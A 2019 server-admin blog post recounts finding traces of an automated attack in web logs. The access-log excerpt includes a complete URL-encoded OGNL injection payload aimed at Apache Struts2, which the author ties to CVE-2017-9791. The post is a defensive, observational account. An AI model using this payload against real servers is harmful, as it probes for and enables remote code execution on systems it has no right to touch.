Traces of a (failed, I hope) web server attack

This post was written by eli on February 7, 2019
Posted Under: Internet,Server admin

I suddenly got the following line in public_html/error_log:

[06-Feb-2019 17:51:53] PHP Deprecated:  Automatically populating $HTTP_RAW_POST_DATA is deprecated and will be removed in a future version. To avoid this warning set 'always_populate_raw_post_data' to '-1' in php.ini and use the php://input stream instead. in Unknown on line 0

So I took a closer look on the logs: - - [06/Feb/2019:17:51:50 -0500] "POST /%25%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3f(%23_memberAccess%3d%23dm)%3a((%23container%3d%23context%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ognlUtil%3d%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.getExcludedPackageNames().clear()).(%23ognlUtil.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)))).(%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse()).(%23res.addHeader(%27eresult%27%2c%27struts2_security_check%27))%7d/ HTTP/1.1" 500 2432 "-" "Auto Spider 1.0" - - [06/Feb/2019:17:51:51 -0500] "POST / HTTP/1.1" 200 4127 "-" "Auto Spider 1.0" - - [06/Feb/2019:17:51:52 -0500] "POST / HTTP/1.1" 200 4127 "-" "Auto Spider 1.0" - - [06/Feb/2019:17:51:53 -0500] "POST / HTTP/1.1" 200 4131 "-" "Auto Spider 1.0" - - [06/Feb/2019:17:52:14 -0500] "POST / HTTP/1.1" 200 4129 "-" "Auto Spider 1.0" - - [06/Feb/2019:17:52:15 -0500] "POST / HTTP/1.1" 200 4130 "-" "Auto Spider 1.0" - - [06/Feb/2019:17:52:18 -0500] "POST / HTTP/1.1" 200 4130 "-" "Auto Spider 1.0

Googling around for the first entry, which is obviously some kind of attack (partly because it’s a POST coming from nowhere), it looks like an attempt to exploit the Struts Remote Code Execution Vulnerability based upon this proof of concept for CVE-2017-9791.

The unpleasant thing to note is that the error message doesn’t relate to the first POST request, but to a later one. So maybe this attack went somewhere? Anyhow, it’s not my server, so I can’t do much about Apache’s configuration. Besides, other information I have seems to indicate that the attack didn’t manage to do anything.

Guess it’s just one of a gazillion attacks that go unnoticed, just this one created a line in my error log.

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